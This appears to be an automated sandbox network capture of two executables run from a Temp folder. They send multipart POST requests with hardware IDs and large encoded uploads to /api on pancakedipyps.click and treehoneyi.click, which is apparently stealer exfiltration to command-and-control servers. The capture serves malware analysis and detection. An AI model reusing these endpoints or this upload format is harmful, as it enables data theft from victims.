6	192.168.2.4	49806	172.67.209.202	443	7516	C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:26 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5D0DQBW49IGUUEAE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20424 Host: pancakedipyps.click
2024-12-20 06:12:26 UTC	15331	OUT	Data Raw: 2d 2d 35 44 30 44 51 42 57 34 39 49 47 55 55 45 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 35 44 30 44 51 42 57 34 39 49 47 55 55 45 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 35 44 30 44 51 42 57 34 39 49 47 55 55 45 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 35 44 30 Data Ascii: --5D0DQBW49IGUUEAEContent-Disposition: form-data; name="hwid"D3C7E2364AE4B7B7AC8923850305D13E--5D0DQBW49IGUUEAEContent-Disposition: form-data; name="pid"3--5D0DQBW49IGUUEAEContent-Disposition: form-data; name="lid"FATE99--test--5D0
2024-12-20 06:12:26 UTC	5093	OUT	Data Raw: 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-20 06:12:27 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mdm3qeqqa7unhtgh3i0tit926u; expires=Mon, 14 Apr 2025 23:59:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cWCndHaUMf6rAJZshHtyg%2B0q6C2NFaYAAkQcuGqnu4O3jhbUENhJK9F3EyBZRS2a1WM4COv82rXes8%2FMx8N28OWysyr3Z8dKLRb5Ss07l%2FiFLg5qK1zBjq2bm3OXAY36ld8%2BDWYN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b132ccd18cc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1517&min_rtt=1512&rtt_var=577&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2848&recv_bytes=21387&delivery_rate=1877813&cwnd=252&unsent_bytes=0&cid=a97819f08d98ba64&ts=990&x=0"
2024-12-20 06:12:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:12:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49816	172.67.209.202	443	7516	C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:30 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2UID7BLJPBJOJ2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1245 Host: pancakedipyps.click
2024-12-20 06:12:30 UTC	1245	OUT	Data Raw: 2d 2d 32 55 49 44 37 42 4c 4a 50 42 4a 4f 4a 32 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 55 49 44 37 42 4c 4a 50 42 4a 4f 4a 32 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 55 49 44 37 42 4c 4a 50 42 4a 4f 4a 32 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 32 55 49 44 37 42 Data Ascii: --2UID7BLJPBJOJ2UContent-Disposition: form-data; name="hwid"D3C7E2364AE4B7B7AC8923850305D13E--2UID7BLJPBJOJ2UContent-Disposition: form-data; name="pid"1--2UID7BLJPBJOJ2UContent-Disposition: form-data; name="lid"FATE99--test--2UID7B
2024-12-20 06:12:30 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qvorfj51q9volj020bv3q7u8lt; expires=Mon, 14 Apr 2025 23:59:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TVR2D7aHGIqitoYwiXuTHDMLliovuKt4koxWOUNdSFG%2FUJhD8fNI8%2BHDS8Hp0BFZ%2BAj1f%2Fn2krhnhDb2juGlL1eX7080RrODfPpb5byu94MKUermiuC%2FiMIDc1avFRFqe1OVjvI0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b2a2b527cee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1788&min_rtt=1783&rtt_var=680&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=2162&delivery_rate=1597374&cwnd=168&unsent_bytes=0&cid=6b8eff3a47bb7287&ts=785&x=0"
2024-12-20 06:12:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:12:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49817	172.67.180.113	443	7348	C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:30 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZISXB8Y3I8W99WCS2Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18165 Host: treehoneyi.click
2024-12-20 06:12:30 UTC	15331	OUT	Data Raw: 2d 2d 5a 49 53 58 42 38 59 33 49 38 57 39 39 57 43 53 32 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 49 53 58 42 38 59 33 49 38 57 39 39 57 43 53 32 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 5a 49 53 58 42 38 59 33 49 38 57 39 39 57 43 53 32 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f Data Ascii: --ZISXB8Y3I8W99WCS2YContent-Disposition: form-data; name="hwid"D3C7E2364AE4B7B7AC8923850305D13E--ZISXB8Y3I8W99WCS2YContent-Disposition: form-data; name="pid"2--ZISXB8Y3I8W99WCS2YContent-Disposition: form-data; name="lid"rAGxSF--Suppo
2024-12-20 06:12:30 UTC	2834	OUT	Data Raw: cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b Data Ascii: xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{
2024-12-20 06:12:31 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:12:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lu85jk874pt0vl91dtpohgeuv9; expires=Mon, 14 Apr 2025 23:59:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uHat%2Fqq9wOlcXhLza4ofwpoh0WQkUy%2FimscGtU%2FOi5SIBHrHmGT6XTUCO%2FTDJevJh039zD2Q0EnLqON7dmcoElgV5hK6Y8CB3I1yFZSpzkOWvTHiRYMUmreLE922m%2BvQfsp6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4d7b2a4b248cd6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1784&min_rtt=1778&rtt_var=679&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2839&recv_bytes=19127&delivery_rate=1596500&cwnd=165&unsent_bytes=0&cid=4ab46fa3f160117e&ts=1248&x=0"
2024-12-20 06:12:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 06:12:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49822	172.67.209.202	443	7516	C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:12:32 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NTP6GK546 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 547081 Host: pancakedipyps.click
2024-12-20 06:12:32 UTC	15331	OUT	Data Raw: 2d 2d 4e 54 50 36 47 4b 35 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 33 43 37 45 32 33 36 34 41 45 34 42 37 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4e 54 50 36 47 4b 35 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4e 54 50 36 47 4b 35 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4e 54 50 36 47 4b 35 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --NTP6GK546Content-Disposition: form-data; name="hwid"D3C7E2364AE4B7B7AC8923850305D13E--NTP6GK546Content-Disposition: form-data; name="pid"1--NTP6GK546Content-Disposition: form-data; name="lid"FATE99--test--NTP6GK546Content-Dispo
2024-12-20 06:12:32 UTC	15331	OUT	Data Raw: 29 24 6f 41 ef e5 06 04 fa 5e 89 cd 4c 1b 4f fe c0 81 33 af 3a ea 20 ef f3 b0 f0 3a 01 4d 3d 28 d4 bf fd eb 90 aa 20 05 5b d3 e0 8a 14 43 1f 1f d9 74 ab ba 44 dd 42 f5 79 17 b6 2e 25 7f e0 e5 79 e4 5b 20 48 32 04 c2 ed 5b 50 aa d1 cc 23 ca 91 55 97 b4 02 b4 a1 fc 5f e2 72 17 48 ae 79 45 67 21 5a eb fc 77 9f 60 30 75 c4 82 51 af 8b d1 f2 89 8d 55 c4 b4 8e 34 28 ac ed 6d 80 ad 0e f4 10 df 77 d7 59 9e 3a eb 12 ad f8 b5 d3 56 5b 25 ba 4b 52 90 5c b4 60 e2 3b 7e 78 b9 50 1d 77 ce c4 e5 69 14 ee d0 e3 30 47 91 cd c5 b7 cd 1b af 7f c0 7c 75 75 de b2 2c b9 3a fc 62 9e 51 4d 69 79 5c bd 87 51 a5 cb 63 3f 16 27 c6 5a 18 43 10 46 df 5c 74 d2 d4 a2 da e0 c7 e5 10 3c 89 f9 c2 4c 71 b6 ea d6 4c ef 56 09 bf 99 84 42 09 b2 c4 97 9a 5e 84 32 79 b8 0c b3 98 54 d8 18 ab 7f Data Ascii: )$oA^LO3: :M=( [CtDBy.%y[ H2[P#U_rHyEg!Zw`0uQU4(mwY:V[%KR\`;~xPwi0G\|uu,:bQMiy\Qc?'ZCF\t<LqLVB^2yT
2024-12-20 06:12:32 UTC	15331	OUT	Data Raw: 8f 68 29 6a df ef 61 c3 0c bd 81 b7 9d d5 c6 eb 9a 15 1d ca 90 8f 5c d9 1f dd dc 3a 97 a8 95 ce 61 b7 7f df 0f 6e d8 b1 fb 4c e6 82 0c 06 ae bd ce bc f6 e3 97 ff b7 a7 7f cc cd 14 b7 85 34 1d ad ec f1 e3 17 57 f4 7b ed 9f c0 04 db f3 4f 5a c4 c7 84 1f 7a b0 70 51 84 27 f0 40 95 c7 20 d2 44 41 7e c4 c0 17 c7 80 28 21 a8 2d b8 64 37 4f fb 64 fa 7a 0d d6 75 12 b2 4c 3a 98 5e 06 38 92 9e fb ae 6c 42 f0 b8 1b c5 02 0e 98 b6 24 9a ff da a9 3a 53 25 f9 f5 bc d6 e9 ff fd 6c 21 04 ac a1 00 1a 49 6e 3f ae ff e7 ce 5e 7e bb 21 0d 89 6b 31 84 40 dd 3a 46 57 a8 e5 12 b9 4a 7c 5c aa 33 e5 a5 0c 37 19 22 8a a0 4a 0e 3b 66 c7 07 09 37 32 d5 e2 7f c0 0e 67 ff 38 e4 e8 12 85 5b 99 c0 1e 3a 87 7d aa 87 9e ad ac 75 12 62 6b a2 4e 79 d1 10 a4 60 e4 95 0f 98 7c 1b 4e e8 37 dd Data Ascii: h)ja\:anL4W{OZzpQ'@ DA~(!-d7OdzuL:^8lB$:S%l!In?^~!k1@:FWJ\|\37"J;f72g8[:}ubkNy`\|N7
2024-12-20 06:12:32 UTC	15331	OUT	Data Raw: 5a 44 61 8a 7e 19 19 89 25 73 b2 72 ab 7f 86 3d 3a 34 a0 38 3e ac bb b6 7b 53 85 40 49 d8 9c c4 d2 de e7 8f 83 e6 0e 10 cc 27 9e 34 7b cc e5 63 78 30 37 64 7b e0 9f e9 87 2d 1b 61 4b 37 77 d4 67 9c f2 f9 47 77 b3 5b 34 c6 53 7a 82 78 e9 b8 8e 2f f6 8a 55 dc bc 00 83 1f f9 35 9e 19 d7 16 47 89 67 ee 1f 95 3e 4b 6c f2 d3 e8 12 5f ff 58 ae c7 c7 c5 46 06 72 f9 4d 80 fa e3 46 fa 5a 92 b5 db e6 0f 0b 64 4d ff 3c e6 f3 44 04 c3 8c 3c 54 6b 3c fd 5b c5 b8 04 1d 99 a4 d6 1b bc e6 f0 ef 07 0e 60 e7 8b e6 7e 2c 30 2f 6d 74 67 54 1f c0 93 e2 40 a0 d7 c2 82 bf 03 7a 12 da 58 b0 0b 49 0f b2 66 6f 9d 2c 0c 9b 12 68 8b 07 ea 11 f0 52 b2 02 a3 77 e3 cd 82 73 ae bb 3e 0d 65 f5 a0 0c e5 3f 12 53 43 4b 33 46 b2 81 f0 a0 de 5f ee 52 7e 12 d0 ac 7b f4 4d db 11 31 f7 2d 7e 6e Data Ascii: ZDa~%sr=:48>{S@I'4{cx07d{-aK7wgGw[4Szx/U5Gg>Kl_XFrMFZdM<D<Tk<[`~,0/mtgT@zXIfo,hRws>e?SCK3F_R~{M1-~n
2024-12-20 06:12:32 UTC	15331	OUT	Data Raw: b6 fd d3 c9 e1 73 96 b7 17 55 eb 6e dc a4 da 4e 0a 1d d6 2c 48 bc 29 fa 33 f9 5a c8 bf f7 6c d4 9b 6c 43 4e 14 a2 0b c5 6f 49 fd 18 1b 3d f4 0d a2 e6 ed 83 98 3b f1 30 0e 83 64 2b 5e 10 f5 3d 31 5f 06 48 5f 25 ba 41 54 fd 73 d2 45 ee 2f fe db 83 17 07 e6 e3 ab c6 d9 ea 81 d6 a7 f5 d7 02 fe 5a 39 80 3f 95 1b d8 19 56 5d 63 59 39 72 84 48 e0 73 d8 be c8 8f 34 76 d4 59 12 e2 dc 6d 78 68 1f 84 12 7c 40 82 26 90 67 18 61 83 31 b0 46 22 35 49 c2 8d 7a a1 9d 97 c1 d3 e9 4f 40 ec a4 96 72 7e 36 e6 30 44 cd e1 ad 6f 01 f5 85 a9 50 53 77 5e fc d6 15 0d 2a f7 bc da b9 67 e3 61 1a cc bd 62 46 32 de 60 14 a4 fb 0a de e0 ad f5 54 51 c8 59 70 42 19 6b b1 1b 52 42 2a ac bb e4 72 bd 30 b7 4b d2 53 39 8d de 26 55 36 50 94 59 84 0b 45 ad 79 ec c1 ea 4f 1b e3 a8 eb ec e2 77 Data Ascii: sUnN,H)3ZllCNoI=;0d+^=1_H_%ATsE/Z9?V]cY9rHs4vYmxh\|@&ga1F"5IzO@r~60DoPSw^gabF2`TQYpBkRBr0KS9&U6PYEyOw
2024-12-20 06:12:32 UTC	15331	OUT	Data Raw: 0b 6c 5f 32 a2 e6 80 c3 63 5b 57 a5 d4 d7 66 78 29 b5 fa 53 3b 97 db e6 0c c9 bc 33 d5 0f c9 6c 63 af 92 74 13 c3 5a b3 5a 0a b2 de 80 44 b4 f0 52 5e 0d e7 a4 2d 57 54 0b a8 df 3e a8 c3 c9 8f 74 c5 43 ca 0f 45 66 05 3e bd f5 e2 84 5c 51 bd 4d 8f 92 94 07 04 86 af df 58 dc cb 55 27 b3 d0 5b 32 7b 09 36 eb 6f 22 91 59 ea df da a6 96 57 69 f8 4a 70 fb d0 6c b5 f5 d8 cb b5 3c fa 17 34 a5 14 f8 7a 94 2a d4 c3 6b 97 34 98 c2 80 7d 15 0d 14 70 c7 01 ab 90 8d 87 7f bc 08 d0 eb 4c 29 f3 94 01 06 df 41 f0 49 2d d4 d6 d7 ac c1 1b a1 f4 b3 dc 9b a7 59 91 36 ea bf 6a ae 1e f6 73 ca 5d 79 2f 01 64 4f de 48 d3 a8 0b 79 36 70 42 f2 26 d0 91 76 cb 02 6f f5 50 48 36 f7 83 1f 74 4a cf 7f b9 6a 94 31 c8 a6 7d fd d4 ba a1 9f 54 7d 11 47 1a 61 50 0f 85 85 16 bf 88 34 14 5f 3e Data Ascii: l_2c[Wfx)S;3lctZZDR^-WT>tCEf>\QMXU'[2{6o"YWiJpl<4z*k4}pL)AI-Y6js]y/dOHy6pB&voPH6tJj1}T}GaP4_>
2024-12-20 06:12:32 UTC	15331	OUT	Data Raw: 02 65 8f cb 37 2f 33 c7 9c f0 0e 76 d5 5a a1 21 d7 14 f3 29 31 a8 7d 51 75 2e c8 c4 e5 79 8d 59 cf eb 08 c6 c9 9a 36 e3 d4 a8 17 e9 53 11 07 98 46 c1 2c 89 f3 65 b1 7c 26 d1 bd 11 49 31 9e bf 91 49 1b 9b 59 a2 c4 5f 1f 97 4e 2f e8 0c e8 b4 2e 18 75 85 7c 34 99 db 3d bf 79 47 a6 7b b1 6a 7a 13 bf 38 0f 36 a0 f1 8f f2 37 4a ac 1b 0e 27 f1 6f 8d 45 03 43 5f 21 e5 dd ff 1b 13 f3 9f 2e 9b bb 7a 03 16 fb 3b b8 13 e2 98 a2 68 d1 34 a4 a0 c8 d6 80 16 d1 67 d9 da 92 b1 96 af 17 aa fa fd da 0b 5c 9f 84 2b 91 91 28 c5 2e a1 bf 5c 75 3f 88 d7 07 4d 8a 60 e8 4f 5f 0a 44 9f 4e 70 f8 cf 02 90 05 24 03 0e c1 50 b0 fd 16 e3 2a 4e c4 14 82 a3 61 88 4f 1e e4 1e a7 cb 0b 4e 18 64 29 93 32 cc 4c 0c 50 72 12 73 d2 80 0f eb 31 01 be 0b 63 77 2e ef be 25 e2 79 26 05 58 0b 9a f6 Data Ascii: e7/3vZ!)1}Qu.yY6SF,e\|&I1IY_N/.u\|4=yG{jz867J'oEC_!.z;h4g\+(.\u?M`O_DNp$P*NaONd)2LPrs1cw.%y&X
2024-12-20 06:12:32 UTC	15331	OUT	Data Raw: 1b 40 16 5f 83 7c 14 14 0b 82 bf ac b4 3a cf 5f 9f c8 0b 72 e2 30 49 04 bb b4 52 de 4b ba 67 b3 6d 89 b3 bd fa 6e 0b f7 49 f3 2a c3 56 01 ad 72 9a 8f 0f 92 e2 dc 07 0b 87 6c 6b 96 9f 67 be 91 03 27 3e 8c ca 68 94 6c 83 48 8d 91 6e c5 2b ba ef f7 bd 75 3c 1c 6e 21 0d e2 4b 00 13 0d fa ec 79 54 65 ed 4b 12 cf 86 c1 0b e3 ac dd a1 b7 8a 0d 08 7a 20 ae b0 60 1b 41 2f 70 d4 49 fc d7 73 05 6b 27 da 75 65 24 fc e6 1c cc 0f d5 7b 91 e8 95 fe 8d f8 49 56 42 1d 33 39 84 06 ae c7 2f 5f 61 3d 5c 10 fd 5e 75 7f 4c fa 40 09 f2 c7 62 ce a2 33 a0 fb d0 8f 8c ad 99 0b d9 4d 72 77 82 33 3d 16 f4 26 0f cd d6 80 55 fc 9c 5f da 12 b7 cc c7 01 f6 6d 45 88 59 42 64 70 1d fd a6 b6 4f 28 2f 9f 24 1d 8e e3 7c eb cd c9 27 26 80 19 23 d2 3b 30 23 44 82 4d 5a 36 67 16 43 01 47 6d d6 Data Ascii: @_\|:_r0IRKgmnI*Vrlkg'>hlHn+u<n!KyTeKz `A/pIsk'ue${IVB39/_a=\^uL@b3Mrw3=&U_mEYBdpO(/$\|'&#;0#DMZ6gCGm
2024-12-20 06:12:32 UTC	15331	OUT	Data Raw: f4 01 52 6b 5a cf 87 6f 11 55 04 ee 2f 8f f4 39 a8 b8 29 e6 8e a5 2b f6 59 81 20 cc b9 48 17 68 f1 0a de 31 6e f1 df 18 38 3e d5 e8 8b 0c 80 26 aa 99 2a 32 e7 6d 19 5d 61 ec 08 bf 0e c9 83 ef 15 0a e2 42 95 38 e7 f6 74 97 00 aa 6e e2 c2 cb 23 1e 42 91 82 a9 85 1d e7 8a 8a 33 30 ba 58 ca 9d ed 96 42 e1 22 2b 63 6b d9 df 92 f2 ac a2 2d 67 b6 e8 ff b9 0b f4 2b 0d 84 42 92 4d d9 60 81 72 27 bb ca a1 f5 55 0b 02 b4 ed c5 b2 08 9a e5 85 bb 3d 2c 7c c2 53 66 48 b5 d5 fd eb b3 5f 56 f0 e8 85 08 11 4c a2 0a 7c 89 77 e2 c2 2d a3 91 b9 c4 ef 9c 22 41 b5 6f 68 47 c0 94 da 6e 8d f7 45 98 99 22 02 b7 93 df ca ec e9 8b 90 43 f5 bc 24 cf 88 67 de 2d 5f d9 25 e1 b6 3a f5 fd c7 10 6e 72 49 53 e5 cf 5b 52 ba d6 bf 70 b3 20 90 ca a2 82 0f cc b6 04 49 d9 83 64 78 52 fe 35 41 Data Ascii: RkZoU/9)+Y Hh1n8>&*2m]aB8tn#B30XB"+ck-g+BM`r'U=,\|SfH_VL\|w-"AohGnE"C$g-_%:nrIS[Rp IdxR5A
2024-12-20 06:12:32 UTC	15331	OUT	Data Raw: 3b cf f7 da 06 50 d3 ac a8 ec de b0 6b 17 2e ff 20 e3 6f b0 cc 0d 76 e6 ec 7f 4e f7 16 92 13 cd 65 2a e7 5e 00 e8 37 c4 b8 26 f9 7b 2d 4e af b8 e3 25 80 9f 62 cf c1 02 52 e6 0a 7f 44 83 ee 8b 27 05 0a c4 fb 44 4b c4 e6 63 b9 3b 25 5d e5 da 3c 80 02 81 8c 02 25 97 a4 76 9f 23 4c 9f 8a 99 9e 62 6c c6 2a 68 f1 b6 46 47 ef c0 2a 6c 83 0a 81 be bc 90 65 31 04 19 bc ca dc 73 3b f1 2b e9 bd dd bc 56 88 11 79 fa b9 ad 7b e0 a5 9d d2 fa 24 92 01 52 3f 8a e6 0f ce b7 78 19 80 13 ce 82 60 9e ab 57 1f de 2e 47 66 58 97 42 45 47 93 77 cd e4 b6 26 cd d0 25 a2 42 44 d8 58 7e c7 d3 57 c9 82 14 70 ba fd af 7c 45 33 39 53 7e 00 37 17 3f 76 c5 50 28 3c 60 5d 12 d4 fe c5 80 f3 9e 99 02 d8 a4 89 6f c5 fd f0 d8 17 65 b2 88 bb 43 94 a3 e1 79 3f 8f 9e 7f e5 ef 9a 8e c9 91 f4 30 Data Ascii: ;Pk. 